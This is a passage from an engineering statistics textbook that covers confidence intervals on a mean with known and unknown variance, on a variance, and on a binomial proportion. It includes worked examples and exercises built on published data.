(b) Construct a 99% lower-confidence bound on the mean piston ring diameter. Compare the lower bound of this confidence interval with the one in part (a).

8-14. The life in hours of a 75-watt light bulb is known to be normally distributed with $\sigma = 25$ hours. A random sample of 20 bulbs has a mean life of $\bar{x} = 1014$ hours.

(a) Construct a 95% two-sided confidence interval on the mean life.

(b) Construct a 95% lower-confidence bound on the mean life. Compare the lower bound of this confidence interval with the one in part (a).

8-15. A civil engineer is analyzing the compressive strength of concrete. Compressive strength is normally distributed with $\sigma^2 = 1000(\text{psi})^2$. A random sample of 12 specimens has a mean compressive strength of $\bar{x} = 3250$ psi.

(a) Construct a 95% two-sided confidence interval on mean compressive strength.

(b) Construct a 99% two-sided confidence interval on mean compressive strength. Compare the width of this confidence interval with the width of the one found in part (a).

8-16. Suppose that in Exercise 8-14 we wanted the error in estimating the mean life from the two-sided confidence interval to be five hours at 95% confidence. What sample size should be used?

8-17. Suppose that in Exercise 8-14 we wanted the total width of the two-sided confidence interval on mean life to be six hours at 95% confidence. What sample size should be used?

8-18. Suppose that in Exercise 8-15 it is desired to estimate the compressive strength with an error that is less than 15 psi at 99% confidence. What sample size is required?

8-19. By how much must the sample size n be increased if the length of the CI on μ in Equation 8-5 is to be halved?

8-20. If the sample size n is doubled, by how much is the length of the CI on μ in Equation 8-5 reduced? What happens to the length of the interval if the sample size is increased by a factor of four?

8-21. An article in the *Journal of Agricultural Science* ["The Use of Residual Maximum Likelihood to Model Grain Quality Characteristics of Wheat with Variety, Climatic and Nitrogen Fertilizer Effects" (1997, Vol. 128, pp. 135–142)] investigated means of wheat grain crude protein content (CP) and Hagberg falling number (HFN) surveyed in the UK. The analysis used a variety of nitrogen fertilizer applications (kg N/ha), temperature (ºC), and total monthly rainfall (mm). The data shown below describe temperatures for wheat grown at Harper Adams Agricultural College between 1982 and 1993. The temperatures measured in June were obtained as follows:

15.2	14.2	14.0	12.2	14.4	12.5
14.3	14.2	13.5	11.8	15.2	

Assume that the standard deviation is known to be $\sigma = 0.5$.

(a) Construct a 99% two-sided confidence interval on the mean temperature.

(b) Construct a 95% lower-confidence bound on the mean temperature.

(c) Suppose that we wanted to be 95% confident that the error in estimating the mean temperature is less than 2 degrees Celsius. What sample size should be used?

(d) Suppose that we wanted the total width of the two-sided confidence interval on mean temperature to be 1.5 degrees Celsius at 95% confidence. What sample size should be used?

8-2 CONFIDENCE INTERVAL ON THE MEAN OF A NORMAL DISTRIBUTION, VARIANCE UNKNOWN

When we are constructing confidence intervals on the mean μ of a normal population when σ^2 is known, we can use the procedure in Section 8-1.1. This CI is also approximately valid (because of the central limit theorem) regardless of whether or not the underlying population

is normal, so long as n is reasonably large ($n \geq 40$, say). As noted in Section 8-1.5, we can even handle the case of unknown variance for the large-sample-size situation. However, when the sample is small and σ^2 is unknown, we must make an assumption about the form of the underlying distribution to obtain a valid CI procedure. A reasonable assumption in many cases is that the underlying distribution is normal.

Many populations encountered in practice are well approximated by the normal distribution, so this assumption will lead to confidence interval procedures of wide applicability. In fact, moderate departure from normality will have little effect on validity. When the assumption is unreasonable, an alternative is to use nonparametric statistical procedures that are valid for any underlying distribution.

Suppose that the population of interest has a normal distribution with unknown mean μ and unknown variance σ^2. Assume that a random sample of size n, say, $X_1, X_2, \ldots, X_n$, is available, and let $\overline{X}$ and S^2 be the sample mean and variance, respectively.

We wish to construct a two-sided CI on μ. If the variance σ^2 is known, we know that $Z = (\overline{X} - \mu)/(\sigma/\sqrt{n})$ has a standard normal distribution. When σ^2 is unknown, a logical procedure is to replace σ with the sample standard deviation S. The random variable Z now becomes $T = (\overline{X} - \mu)/(S/\sqrt{n})$. A logical question is, what effect does replacing σ by S have on the distribution of the random variable T? If n is large, the answer to this question is "very little," and we can proceed to use the confidence interval based on the normal distribution from Section 8-1.5. However, n is usually small in most engineering problems, and in this situation a different distribution must be employed to construct the CI.

8-2.1 *t* Distribution

***t* Distribution**

Let $X_1, X_2, \ldots, X_n$ be a random sample from a normal distribution with unknown mean μ and unknown variance σ^2. The random variable

$$T = \frac{\overline{X} - \mu}{S/\sqrt{n}} \tag{8-13}$$

has a t distribution with $n - 1$ degrees of freedom.

The t probability density function is

$$f(x) = \frac{\Gamma[(k+1)/2]}{\sqrt{\pi k}\,\Gamma(k/2)} \cdot \frac{1}{[(x^2/k) + 1]^{(k+1)/2}} \qquad -\infty < x < \infty \tag{8-14}$$

where k is the number of degrees of freedom. The mean and variance of the t distribution are zero and $k/(k-2)$ (for $k > 2$), respectively.

Several t distributions are shown in Fig. 8-4. The general appearance of the t distribution is similar to the standard normal distribution in that both distributions are symmetric and unimodal, and the maximum ordinate value is reached when the mean $\mu = 0$. However, the t distribution has heavier tails than the normal; that is, it has more probability in the tails than the normal distribution. As the number of degrees of freedom $k \to \infty$, the limiting form of the t distribution is the standard normal distribution. Generally, the number of degrees of freedom for t is the number of degrees of freedom associated with the estimated standard deviation.

Appendix Table V provides **percentage points** of the t distribution. We will let $t_{\alpha,k}$ be the value of the random variable T with k degrees of freedom above which we find an area

Figure 8-4 Probability density functions of several t distributions.

Figure 8-5 Percentage points of the t distribution.

(or probability) α. Thus, $t_{\alpha,k}$ is an upper-tail 100α percentage point of the t distribution with k degrees of freedom. This percentage point is shown in Fig. 8-5. In the Appendix Table V the α values are the column headings, and the degrees of freedom are listed in the left column. To illustrate the use of the table, note that the t-value with 10 degrees of freedom having an area of 0.05 to the right is $t_{0.05,10} = 1.812$. That is,

$$P(T_{10} > t_{0.05,10}) = P(T_{10} > 1.812) = 0.05$$

Since the t distribution is symmetric about zero, we have $t_{1-\alpha,n} = -t_{\alpha,n}$; that is, the t-value having an area of $1 - \alpha$ to the right (and therefore an area of α to the left) is equal to the negative of the t-value that has area α in the right tail of the distribution. Therefore, $t_{0.95,10} = -t_{0.05,10} = -1.812$. Finally, because $t_{\alpha,\infty}$ is the standard normal distribution, the familiar z_α values appear in the last row of Appendix Table V.

8-2.2 t Confidence Interval on μ

It is easy to find a $100(1 - \alpha)$ percent confidence interval on the mean of a normal distribution with unknown variance by proceeding essentially as we did in Section 8-1.1. We know that the distribution of $T = (\overline{X} - \mu)/(S/\sqrt{n})$ is t with $n - 1$ degrees of freedom. Letting $t_{\alpha/2,n-1}$ be the upper $100\alpha/2$ percentage point of the t distribution with $n - 1$ degrees of freedom, we may write

$$P(-t_{\alpha/2,n-1} \le T \le t_{\alpha/2,n-1}) = 1 - \alpha$$

or

$$P\left(-t_{\alpha/2,n-1} \le \frac{\overline{X} - \mu}{S/\sqrt{n}} \le t_{\alpha/2,n-1}\right) = 1 - \alpha$$

Rearranging this last equation yields

$$P(\overline{X} - t_{\alpha/2,n-1}S/\sqrt{n} \le \mu \le \overline{X} + t_{\alpha/2,n-1}S/\sqrt{n}) = 1 - \alpha \qquad (8\text{-}15)$$

This leads to the following definition of the $100(1 - \alpha)\%$ two-sided confidence interval on μ.

Confidence Interval on the Mean, Variance Unknown

If $\bar{x}$ and s are the mean and standard deviation of a random sample from a normal distribution with unknown variance σ^2, a **100(1 − α)% confidence interval on μ** is given by

$$\bar{x} - t_{\alpha/2,n-1}s/\sqrt{n} \le \mu \le \bar{x} + t_{\alpha/2,n-1}s/\sqrt{n} \tag{8-16}$$

where $t_{\alpha/2,n-1}$ is the upper $100\alpha/2$ percentage point of the t distribution with $n - 1$ degrees of freedom.

One-sided confidence bounds on the mean of a normal distribution are also of interest and are easy to find. Simply use only the appropriate lower or upper confidence limit from Equation 8-16 and replace $t_{\alpha/2,n-1}$ by $t_{\alpha,n-1}$.

EXAMPLE 8-5 Alloy Adhesion

An article in the journal *Materials Engineering* (1989, Vol. II, No. 4, pp. 275–281) describes the results of tensile adhesion tests on 22 U-700 alloy specimens. The load at specimen failure is as follows (in megapascals):

19.8	10.1	14.9	7.5	15.4	15.4
15.4	18.5	7.9	12.7	11.9	11.4
11.4	14.1	17.6	16.7	15.8	
19.5	8.8	13.6	11.9	11.4	

The sample mean is $\bar{x} = 13.71$, and the sample standard deviation is $s = 3.55$. Figures 8-6 and 8-7 show a box plot and a normal probability plot of the tensile adhesion test data, respectively. These displays provide good support for the assumption that the population is normally distributed. We want to find a 95% CI on μ. Since $n = 22$, we have $n - 1 = 21$ degrees of freedom for t, so $t_{0.025,21} = 2.080$. The resulting CI is

$$\bar{x} - t_{\alpha/2,n-1}s/\sqrt{n} \le \mu \le \bar{x} + t_{\alpha/2,n-1}s/\sqrt{n}$$

$$13.71 - 2.080(3.55)/\sqrt{22} \le \mu \le 13.71 + 2.080(3.55)/\sqrt{22}$$

$$13.71 - 1.57 \le \mu \le 13.71 + 1.57$$

$$12.14 \le \mu \le 15.28$$

Practical Interpretation: The CI is fairly wide because there is a lot of variability in the tensile adhesion test measurements. A larger sample size would have led to a shorter interval.

It is not as easy to select a sample size n to obtain a specified length (or precision of estimation) for this CI as it was in the known-σ case, because the length of the interval involves s (which is unknown before the data are collected), n, and $t_{\alpha/2,n-1}$. Note that the t-percentile depends on the sample size n. Consequently, an appropriate n can only be obtained through trial and error. The results of this will, of course, also depend on the reliability of our prior "guess" for σ.

Figure 8-6 Box and whisker plot for the load at failure data in Example 8-5.

Figure 8-7 Normal probability plot of the load at failure data from Example 8-5.

EXERCISES FOR SECTION 8-2

8-22. Find the values of the following percentiles: $t_{0.025,15}$, $t_{0.05,10}$, $t_{0.10,20}$, $t_{0.005,25}$, and $t_{0.001,30}$.

8-23. Determine the t-percentile that is required to construct each of the following two-sided confidence intervals:
(a) Confidence level = 95%, degrees of freedom = 12
(b) Confidence level = 95%, degrees of freedom = 24
(c) Confidence level = 99%, degrees of freedom = 13
(d) Confidence level = 99.9%, degrees of freedom = 15

8-24. Determine the t-percentile that is required to construct each of the following one-sided confidence intervals:
(a) Confidence level = 95%, degrees of freedom = 14
(b) Confidence level = 99%, degrees of freedom = 19
(c) Confidence level = 99.9%, degrees of freedom = 24

8-25. A random sample has been taken from a normal distribution. Output from a software package is given below:

Variable	N	Mean	SE Mean	StDev	Variance	Sum
x	10	?	0.507	1.605	?	251.848

(a) Fill in the missing quantities.
(b) Find a 95% CI on the population mean.

8-26. A random sample has been taken from a normal distribution. Output from a software package is given below:

Variable	N	Mean	SE Mean	StDev	Variance	Sum
x	?	?	1.58	6.11	?	751.40

(a) Fill in the missing quantities.
(b) Find a 95% CI on the population mean.

8-27. A research engineer for a tire manufacturer is investigating tire life for a new rubber compound and has built 16 tires and tested them to end-of-life in a road test. The sample mean and standard deviation are 60,139.7 and 3645.94 kilometers. Find a 95% confidence interval on mean tire life.

8-28. An Izod impact test was performed on 20 specimens of PVC pipe. The sample mean is $\bar{x} = 1.25$ and the sample standard deviation is $s = 0.25$. Find a 99% lower confidence bound on Izod impact strength.

8-29. A postmix beverage machine is adjusted to release a certain amount of syrup into a chamber where it is mixed with carbonated water. A random sample of 25 beverages was found to have a mean syrup content of $\bar{x} = 1.10$ fluid ounce and a standard deviation of $s = 0.015$ fluid ounce. Find a 95% CI on the mean volume of syrup dispensed.

8-30. An article in *Medicine and Science in Sports and Exercise* [“Maximal Leg-Strength Training Improves Cycling Economy in Previously Untrained Men” (2005, Vol. 37, pp. 131–136)] studied cycling performance before and after eight weeks of leg-strength training. Seven previously untrained males performed leg-strength training three days per week for eight weeks (with four sets of five replications at 85% of one repetition maximum). Peak power during incremental cycling increased to a mean of 315 watts with a standard deviation of 16 watts. Construct a 95% confidence interval for the mean peak power after training.

8-31. An article in *Obesity Research* [“Impaired Pressure Natriuresis in Obese Youths” (2003, Vol. 11, pp. 745–751)] described a study in which all meals were provided for 14 lean boys for three days followed by one stress (with a video-game task). The average systolic blood pressure (SBP) during the test was 118.3 mm HG with a standard deviation of 9.9 mm HG. Construct a 99% one-sided upper confidence interval for mean SBP.

8-32. An article in the *Journal of Composite Materials* (December 1989, Vol. 23, p. 1200) describes the effect of delamination on the natural frequency of beams made from composite laminates. Five such delaminated beams were subjected to loads, and the resulting frequencies were as follows (in hertz):

230.66, 233.05, 232.58, 229.48, 232.58

Check the assumption of normality in the population. Calculate a 90% two-sided confidence interval on mean natural frequency.

8-33. The Bureau of Meteorology of the Australian Government provided the mean annual rainfall (in millimeters) in Australia 1983–2002 as follows (http://www.bom.gov.au/climate/change/rain03.txt):

499.2, 555.2, 398.8, 391.9, 453.4, 459.8, 483.7, 417.6, 469.2, 452.4, 499.3, 340.6, 522.8, 469.9, 527.2, 565.5, 584.1, 727.3, 558.6, 338.6

Check the assumption of normality in the population. Construct a 95% confidence interval for the mean annual rainfall.

8-34. The solar energy consumed (in trillion BTU) in the U.S. by year from 1989 to 2004 (source: U.S. Department of Energy Web site, http://www.eia.doe.gov/emeu) is shown in the table below. Read down, then right for year.

55.291	66.458	70.237	65.454
59.718	68.548	69.787	64.391
62.688	69.857	68.793	63.62
63.886	70.833	66.388	63.287

Check the assumption of normality in the population. Construct a 95% confidence interval for the mean solar energy consumed.

8-35. The brightness of a television picture tube can be evaluated by measuring the amount of current required to achieve a particular brightness level. A sample of 10 tubes results in $\bar{x} = 317.2$ and $s = 15.7$. Find (in microamps) a 99% confidence interval on mean current required. State any necessary assumptions about the underlying distribution of the data.

8-36. A particular brand of diet margarine was analyzed to determine the level of polyunsaturated fatty acid (in percentages). A sample of six packages resulted in the following data: 16.8, 17.2, 17.4, 16.9, 16.5, 17.1.
(a) Check the assumption that the level of polyunsaturated fatty acid is normally distributed.

(b) Calculate a 99% confidence interval on the mean μ. Provide a practical interpretation of this interval.
(c) Calculate a 99% lower confidence bound on the mean. Compare this bound with the lower bound of the two-sided confidence interval and discuss why they are different.

8-37. The compressive strength of concrete is being tested by a civil engineer. He tests 12 specimens and obtains the following data.

2216	2237	2249	2204
2225	2301	2281	2263
2318	2255	2275	2295

(a) Check the assumption that compressive strength is normally distributed. Include a graphical display in your answer.
(b) Construct a 95% two-sided confidence interval on the mean strength.
(c) Construct a 95% lower confidence bound on the mean strength. Compare this bound with the lower bound of the two-sided confidence interval and discuss why they are different.

8-38. A machine produces metal rods used in an automobile suspension system. A random sample of 15 rods is selected, and the diameter is measured. The resulting data (in millimeters) are as follows:

8.24	8.25	8.20	8.23	8.24
8.21	8.26	8.26	8.20	8.25
8.23	8.23	8.19	8.28	8.24

(a) Check the assumption of normality for rod diameter.
(b) Calculate a 95% two-sided confidence interval on mean rod diameter.
(c) Calculate a 95% upper confidence bound on the mean. Compare this bound with the upper bound of the two-sided confidence interval and discuss why they are different.

8-39. An article in *Computers & Electrical Engineering* ["Parallel Simulation of Cellular Neural Networks" (1996, Vol. 22, pp. 61–84)] considered the speed-up of cellular neural networks (CNN) for a parallel general-purpose computing architecture based on six transputers in different areas. The data follow:

3.775302	3.350679	4.217981	4.030324	4.639692
4.139665	4.395575	4.824257	4.268119	4.584193
4.930027	4.315973	4.600101		

(a) Is there evidence to support the assumption that speed-up of CNN is normally distributed? Include a graphical display in your answer.
(b) Construct a 95% two-sided confidence interval on the mean speed-up.
(c) Construct a 95% lower confidence bound on the mean speed-up.

8-40. The wall thickness of 25 glass 2-liter bottles was measured by a quality-control engineer. The sample mean was $\bar{x} = 4.05$ millimeters, and the sample standard deviation was $s = 0.08$ millimeter. Find a 95% lower confidence bound for mean wall thickness. Interpret the interval you have obtained.

8-41. An article in *Nuclear Engineering International* (February 1988, p. 33) describes several characteristics of fuel rods used in a reactor owned by an electric utility in Norway. Measurements on the percentage of enrichment of 12 rods were reported as follows:

2.94	3.00	2.90	2.75	3.00	2.95
2.90	2.75	2.95	2.82	2.81	3.05

(a) Use a normal probability plot to check the normality assumption.
(b) Find a 99% two-sided confidence interval on the mean percentage of enrichment. Are you comfortable with the statement that the mean percentage of enrichment is 2.95%? Why?

8-3 CONFIDENCE INTERVAL ON THE VARIANCE AND STANDARD DEVIATION OF A NORMAL DISTRIBUTION

Sometimes confidence intervals on the population variance or standard deviation are needed. When the population is modeled by a normal distribution, the tests and intervals described in this section are applicable. The following result provides the basis of constructing these confidence intervals.

χ^2 Distribution

Let $X_1, X_2, \ldots, X_n$ be a random sample from a normal distribution with mean μ and variance σ^2, and let S^2 be the sample variance. Then the random variable

$$X^2 = \frac{(n-1)S^2}{\sigma^2} \tag{8-17}$$

has a chi-square (χ^2) distribution with $n - 1$ degrees of freedom.

Figure 8-8 Probability density functions of several χ^2 distributions.

The probability density function of a χ^2 random variable is

$$f(x) = \frac{1}{2^{k/2}\Gamma(k/2)} x^{(k/2)-1} e^{-x/2} \qquad x > 0 \tag{8-18}$$

where k is the number of degrees of freedom. The mean and variance of the χ^2 distribution are k and $2k$, respectively. Several chi-square distributions are shown in Fig. 8-8. Note that the chi-square random variable is nonnegative and that the probability distribution is skewed to the right. However, as k increases, the distribution becomes more symmetric. As $k \to \infty$, the limiting form of the chi-square distribution is the normal distribution.

The **percentage points** of the χ^2 distribution are given in Table IV of the Appendix. Define $\chi^2_{\alpha,k}$ as the percentage point or value of the chi-square random variable with k degrees of freedom such that the probability that X^2 exceeds this value is α. That is,

$$P(X^2 > \chi^2_{\alpha,k}) = \int_{\chi^2_{\alpha,k}}^{\infty} f(u)\, du = \alpha$$

This probability is shown as the shaded area in Fig. 8-9(a). To illustrate the use of Table IV, note that the areas α are the column headings and the degrees of freedom k are given in the left column. Therefore, the value with 10 degrees of freedom having an area (probability) of 0.05

Figure 8-9 Percentage point of the χ^2 distribution. (a) The percentage point $\chi^2_{\alpha,k}$. (b) The upper percentage point $\chi^2_{0.05,10} = 18.31$ and the lower percentage point $\chi^2_{0.95,10} = 3.94$.

to the right is $\chi^2_{0.05,10} = 18.31$. This value is often called an **upper** 5% point of chi-square with 10 degrees of freedom. We may write this as a probability statement as follows:

$$P(X^2 > \chi^2_{0.05,10}) = P(X^2 > 18.31) = 0.05$$

Conversely, a **lower** 5% point of chi-square with 10 degrees of freedom would be $\chi^2_{0.95,10} = 3.94$ (from Appendix A). Both of these percentage points are shown in Figure 8-9(b).

The construction of the $100(1 - \alpha)\%$ CI for σ^2 is straightforward. Because

$$X^2 = \frac{(n-1)S^2}{\sigma^2}$$

is chi-square with $n - 1$ degrees of freedom, we may write

$$P(\chi^2_{1-\alpha/2,n-1} \le X^2 \le \chi^2_{\alpha/2,n-1}) = 1 - \alpha$$

so that

$$P\left(\chi^2_{1-\alpha/2,n-1} \le \frac{(n-1)S^2}{\sigma^2} \le \chi^2_{\alpha/2,n-1}\right) = 1 - \alpha$$

This last equation can be rearranged as

$$P\left(\frac{(n-1)S^2}{\chi^2_{\alpha/2,n-1}} \le \sigma^2 \le \frac{(n-1)S^2}{\chi^2_{1-\alpha/2,n-1}}\right) = 1 - \alpha$$

This leads to the following definition of the confidence interval for σ^2.

Confidence Interval on the Variance

If s^2 is the sample variance from a random sample of n observations from a normal distribution with unknown variance σ^2, then **a $100(1 - \alpha)\%$ confidence interval on σ^2 is**

$$\frac{(n-1)s^2}{\chi^2_{\alpha/2,n-1}} \le \sigma^2 \le \frac{(n-1)s^2}{\chi^2_{1-\alpha/2,n-1}} \tag{8-19}$$

where $\chi^2_{\alpha/2,n-1}$ and $\chi^2_{1-\alpha/2,n-1}$ are the upper and lower $100\alpha/2$ percentage points of the chi-square distribution with $n - 1$ degrees of freedom, respectively. A **confidence interval for σ** has lower and upper limits that are the square roots of the corresponding limits in Equation 8-19.

It is also possible to find a $100(1 - \alpha)\%$ lower confidence bound or upper confidence bound on σ^2.

One-Sided Confidence Bounds on the Variance

The $100(1 - \alpha)\%$ lower and upper confidence bounds on σ^2 are

$$\frac{(n-1)s^2}{\chi^2_{\alpha,n-1}} \le \sigma^2 \quad \text{and} \quad \sigma^2 \le \frac{(n-1)s^2}{\chi^2_{1-\alpha,n-1}} \tag{8-20}$$

respectively.

EXAMPLE 8-6 Detergent Filling

An automatic filling machine is used to fill bottles with liquid detergent. A random sample of 20 bottles results in a sample variance of fill volume of $s^2 = 0.0153$ (fluid ounce)^2. If the variance of fill volume is too large, an unacceptable proportion of bottles will be under- or overfilled. We will assume that the fill volume is approximately normally distributed. A 95% upper confidence bound is found from Equation 8-26 as follows:

$$\sigma^2 \le \frac{(n-1)s^2}{\chi^2_{0.95,19}}$$

or

$$\sigma^2 \le \frac{(19)0.0153}{10.117} = 0.0287 \text{ (fluid ounce)}^2$$

This last expression may be converted into a confidence interval on the standard deviation σ by taking the square root of both sides, resulting in

$$\sigma \le 0.17$$

Practical Interpretation: Therefore, at the 95% level of confidence, the data indicate that the process standard deviation could be as large as 0.17 fluid ounce. The process engineer or manager now needs to determine if a standard deviation this large could lead to an operational problem with under-or over filled bottles.

EXERCISES FOR SECTION 8-3

8-42. Determine the values of the following percentiles: $\chi^2_{0.05,10}$, $\chi^2_{0.025,15}$, $\chi^2_{0.01,12}$, $\chi^2_{0.95,20}$, $\chi^2_{0.99,18}$, $\chi^2_{0.995,16}$, and $\chi^2_{0.005,25}$.

8-43. Determine the χ^2 percentile that is required to construct each of the following CIs:

(a) Confidence level = 95%, degrees of freedom = 24, one-sided (upper)

(b) Confidence level = 99%, degrees of freedom = 9, one-sided (lower)

(c) Confidence level = 90%, degrees of freedom = 19, two-sided.

8-44. A rivet is to be inserted into a hole. A random sample of $n = 15$ parts is selected, and the hole diameter is measured. The sample standard deviation of the hole diameter measurements is $s = 0.008$ millimeters. Construct a 99% lower confidence bound for σ^2.

8-45. Consider the situation in Exercise 8-44. Find a 99% lower confidence bound on the standard deviation.

8-46. The sugar content of the syrup in canned peaches is normally distributed. A random sample of $n = 10$ cans yields a sample standard deviation of $s = 4.8$ milligrams. Calculate a 95% two-sided confidence interval for σ.

8-47. The percentage of titanium in an alloy used in aerospace castings is measured in 51 randomly selected parts. The sample standard deviation is $s = 0.37$. Construct a 95% two-sided confidence interval for σ.

8-48. An article in *Medicine and Science in Sports and Exercise* ["Electrostimulation Training Effects on the Physical Performance of Ice Hockey Players" (2005, Vol. 37, pp. 455–460)] considered the use of electromyostimulation (EMS) as a method to train healthy skeletal muscle. EMS sessions consisted of 30 contractions (4-second duration, 85 Hz) and were carried out three times per week for three weeks on 17 ice hockey players. The 10-meter skating performance test showed a standard deviation of 0.09 seconds. Construct a 95% confidence interval of the standard deviation of the skating performance test.

8-49. An article in *Urban Ecosystems*, "Urbanization and Warming of Phoenix (Arizona, USA): Impacts, Feedbacks and Mitigation" (2002, Vol. 6, pp. 183–203), mentions that Phoenix is ideal to study the effects of an urban heat island because it has grown from a population of 300,000 to approximately 3 million over the last 50 years and this is a period with a continuous, detailed climate record. The 50-year averages of the mean annual temperatures at eight sites in Phoenix are shown below. Check the assumption of normality in the population with a probability plot. Construct a 95% confidence interval for the standard deviation over the sites of the mean annual temperatures.

Site	Average Mean Temperature (°C)
Sky Harbor Airport	23.3
Phoenix Greenway	21.7
Phoenix Encanto	21.6
Waddell	21.7
Litchfield	21.3
Laveen	20.7
Maricopa	20.9
Harlquahala	20.1

8-50. An article in *Cancer Research* ["Analyses of Litter-Matched Time-to-Response Data, with Modifications for Recovery of Interlitter Information" (1977, Vol. 37, pp. 3863–3868)] tested the tumorigenesis of a drug. Rats were randomly selected from litters and given the drug. The times of tumor appearance were recorded as follows:

101, 104, 104, 77, 89, 88, 104, 96, 82, 70, 89, 91, 39, 103, 93, 85, 104, 104, 81, 67, 104, 104, 104, 87, 104, 89, 78, 104, 86, 76, 103, 102, 80, 45, 94, 104, 104, 76, 80, 72, 73

Calculate a 95% confidence interval on the standard deviation of time until a tumor appearance. Check the assumption of normality of the population and comment on the assumptions for the confidence interval.

8-51. An article in *Technometrics* (1999, Vol. 41, pp. 202–211) studied the capability of a gauge by measuring the weight of paper. The data for repeated measurements of one sheet of paper are in the following table. Construct a 95% one-sided upper confidence interval for the standard deviation of these measurements. Check the assumption of normality of the data and comment on the assumptions for the confidence interval.

Observations				
3.481	3.448	3.485	3.475	3.472
3.477	3.472	3.464	3.472	3.470
3.470	3.470	3.477	3.473	3.474

8-52. An article in the *Australian Journal of Agricultural Research* ["Non-Starch Polysaccharides and Broiler Performance on Diets Containing Soyabean Meal as the Sole Protein Concentrate" (1993, Vol. 44, No. 8, pp. 1483–1499)] determined that the essential amino acid (Lysine) composition level of soybean meals is as shown below (g/kg):

22.2	24.7	20.9	26.0	27.0
24.8	26.5	23.8	25.6	23.9

(a) Construct a 99% two-sided confidence interval for σ^2.
(b) Calculate a 99% lower confidence bound for σ^2.
(c) Calculate a 90% lower confidence bound for σ.
(d) Compare the intervals that you have computed.

8-4 LARGE-SAMPLE CONFIDENCE INTERVAL FOR A POPULATION PROPORTION

It is often necessary to construct confidence intervals on a population proportion. For example, suppose that a random sample of size n has been taken from a large (possibly infinite) population and that $X(\leq n)$ observations in this sample belong to a class of interest. Then $\hat{P} = X/n$ is a point estimator of the proportion of the population p that belongs to this class. Note that n and p are the parameters of a binomial distribution. Furthermore, from Chapter 4 we know that the sampling distribution of $\hat{P}$ is approximately normal with mean p and variance $p(1-p)/n$, if p is not too close to either 0 or 1 and if n is relatively large. Typically, to apply this approximation we require that np and $n(1-p)$ be greater than or equal to 5. We will make use of the normal approximation in this section.

Normal Approximation for a Binomial Proportion

If n is large, the distribution of

$$Z = \frac{X - np}{\sqrt{np(1-p)}} = \frac{\hat{P} - p}{\sqrt{\dfrac{p(1-p)}{n}}}$$

is approximately standard normal.

To construct the confidence interval on p, note that

$$P(-z_{\alpha/2} \leq Z \leq z_{\alpha/2}) \simeq 1 - \alpha$$

so

$$P\left(-z_{\alpha/2} \leq \frac{\hat{P} - p}{\sqrt{\dfrac{p(1-p)}{n}}} \leq z_{\alpha/2}\right) \simeq 1 - \alpha$$

This may be rearranged as

$$P\left(\hat{P} - z_{\alpha/2}\sqrt{\frac{p(1-p)}{n}} \le p \le \hat{P} + z_{\alpha/2}\sqrt{\frac{p(1-p)}{n}}\right) \simeq 1 - \alpha \qquad (8\text{-}21)$$

The quantity $\sqrt{p(1-p)/n}$ in Equation 8-21 is called the *standard error of the point estimator* $\hat{P}$. This was discussed in Chapter 7. Unfortunately, the upper and lower limits of the confidence interval obtained from Equation 8-21 contain the unknown parameter p. However, as suggested at the end of Section 8-1.5, a satisfactory solution is to replace p by $\hat{P}$ in the standard error, which results in

$$P\left(\hat{P} - z_{\alpha/2}\sqrt{\frac{\hat{P}(1-\hat{P})}{n}} \le p \le \hat{P} + z_{\alpha/2}\sqrt{\frac{\hat{P}(1-\hat{P})}{n}}\right) \simeq 1 - \alpha \qquad (8\text{-}22)$$

This leads to the approximate $100(1-\alpha)\%$ confidence interval on p.

Approximate Confidence Interval on a Binomial Proportion

If $\hat{p}$ is the proportion of observations in a random sample of size n that belongs to a class of interest, an approximate $100(1-\alpha)\%$ confidence interval on the proportion p of the population that belongs to this class is

$$\hat{p} - z_{\alpha/2}\sqrt{\frac{\hat{p}(1-\hat{p})}{n}} \le p \le \hat{p} + z_{\alpha/2}\sqrt{\frac{\hat{p}(1-\hat{p})}{n}} \qquad (8\text{-}23)$$

where $z_{\alpha/2}$ is the upper $\alpha/2$ percentage point of the standard normal distribution.

This procedure depends on the adequacy of the normal approximation to the binomial. To be reasonably conservative, this requires that np and $n(1-p)$ be greater than or equal to 5. In situations where this approximation is inappropriate, particularly in cases where n is small, other methods must be used. Tables of the binomial distribution could be used to obtain a confidence interval for p. However, we could also use numerical methods based on the binomial probability mass function that are implemented in computer programs.

EXAMPLE 8-7 Crankshaft Bearings

In a random sample of 85 automobile engine crankshaft bearings, 10 have a surface finish that is rougher than the specifications allow. Therefore, a point estimate of the proportion of bearings in the population that exceeds the roughness specification is $\hat{p} = x/n = 10/85 = 0.12$. A 95% two-sided confidence interval for p is computed from Equation 8-23 as

$$\hat{p} - z_{0.025}\sqrt{\frac{\hat{p}(1-\hat{p})}{n}} \le p \le \hat{p} + z_{0.025}\sqrt{\frac{\hat{p}(1-\hat{p})}{n}}$$

or

$$0.12 - 1.96\sqrt{\frac{0.12(0.88)}{85}} \le p \le 0.12 + 1.96\sqrt{\frac{0.12(0.88)}{85}}$$

which simplifies to

$$0.05 \le p \le 0.19$$

Practical Interpretation: This is a wide CI. While the sample size does not appear to be small ($n = 85$), the value of $\hat{p}$ is fairly small, which leads to a large standard error for $\hat{p}$ contributing to the wide CI.

Choice of Sample Size

Since $\hat{P}$ is the point estimator of p, we can define the error in estimating p by $\hat{P}$ as $E = |p - \hat{P}|$. Note that we are approximately $100(1 - \alpha)\%$ confident that this error is less than $z_{\alpha/2}\sqrt{p(1-p)/n}$. For instance, in Example 8-7, we are 95% confident that the sample proportion $\hat{p} = 0.12$ differs from the true proportion p by an amount not exceeding 0.07.

In situations where the sample size can be selected, we may choose n to be $100(1 - \alpha)\%$ confident that the error is less than some specified value E. If we set $E = z_{\alpha/2}\sqrt{p(1-p)/n}$ and solve for n, the appropriate sample size is

Sample Size for a Specified Error on a Binomial Proportion

$$n = \left(\frac{z_{\alpha/2}}{E}\right)^2 p(1 - p) \tag{8-24}$$

An estimate of p is required to use Equation 8-24. If an estimate $\hat{p}$ from a previous sample is available, it can be substituted for p in Equation 8-24, or perhaps a subjective estimate can be made. If these alternatives are unsatisfactory, a preliminary sample can be taken, $\hat{p}$ computed, and then Equation 8-24 used to determine how many additional observations are required to estimate p with the desired accuracy. Another approach to choosing n uses the fact that the sample size from Equation 8-24 will always be a maximum for $p = 0.5$ [that is, $p(1 - p) \leq 0.25$ with equality for $p = 0.5$], and this can be used to obtain an upper bound on n. In other words, we are at least $100(1 - \alpha)\%$ confident that the error in estimating p by $\hat{p}$ is less than E if the sample size is

$$n = \left(\frac{z_{\alpha/2}}{E}\right)^2 (0.25) \tag{8-25}$$

EXAMPLE 8-8 Crankshaft Bearings

